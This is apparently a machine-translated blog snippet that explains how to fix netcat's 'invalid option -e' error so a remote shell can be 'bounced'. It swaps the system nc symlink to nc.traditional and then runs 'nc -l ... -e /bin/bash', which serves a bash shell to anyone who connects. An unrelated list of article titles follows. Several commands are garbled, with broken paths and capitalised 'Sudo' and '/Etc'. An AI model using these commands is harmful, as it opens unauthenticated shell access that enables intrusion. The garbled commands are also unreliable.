An error occurred when nc bounced the shell nc: invalid option — ‘e’ This is nc from the netcat-openbsd package. An alternative nc is available in the netcat-traditional package.
Fixing ideas
$ which nc /bin/nc $ ls -ld /bin/nc lrwxrwxrwx 1 root root 20 October 24 2012 /bin/nc -> /etc/alternatives/nc $ ls -ld /Etc/alternatives/nc lrwxrwxrwx 1 root root 19 February 13 10:03 /etc/alternatives/nc -> /bin/nc.traditional Actually we are looking for this file /bin/nc.traditional : $ /bin /nc.openbsd -l -p 9999 -e /bin/bash /bin/nc.openbsd: invalid option -- 'e' usage: nc [-46DdhklnrStUuvzC] [-i interval] [-P proxy_username] [-p source_port ] [-s source_ip_address] [-T ToS] [-w timeout] [-X proxy_protocol] [-x proxy_address[:port]] [hostname] [port[s]] $ /bin/nc.traditional -l -p 9999 -e /bin/bash ^C $
Combined with the above output message, we can fix it with the following command:
$ sudo rm /etc/alternatives/nc && Sudo ln -s /bin /nc.traditional /etc/alternatives/nc
Try again after repairing, no shell error, the shell rebounded successfully!
$ nc -l 192.168.2.180 -p 12345 -e /bin/bash
[Introduction] The website has become a fashion stage for self-expression and self
Both individual users and enterprise users will encounter problems in setting up w
Today, the ASP program was deployed to iis7, and an error occurred on the server
There are many popular servers at present, and some professional-grade FTP servers
Batch modify the remote Linux server password
How does the Apache server traverse the proxy server? The environment of the
Emergency Remedy Resolving Enterprise Server Post-Intrusion Measures
Windows2003 IIS can not specify IP
Let IIS support the detailed setting method of Flv
How to improve RAID 5 data recovery success rate
Use linux as an FTP server (3)
Apache server uses .htaccess file to set anti-theft chain
Solve the problem of AIX telnet service shutdown and slow response
Windows8 can't update the driver solution (graphic tutorial)
Naruto OL civilian fire master like a dream-like Shura-level play Raiders
Share the simple steps of building a web server under Windows 7
How to change the default boot system
How to use 360 security guards to see your computer configuration? Specific steps to introduce
Microsoft China market Win8 terminal more than 170 models
The solution to the sudden white screen of the game hall when playing LOL under Win10 system
Win8.1 computer settings control global
How does win7 set the icon small window display mode on the taskbar?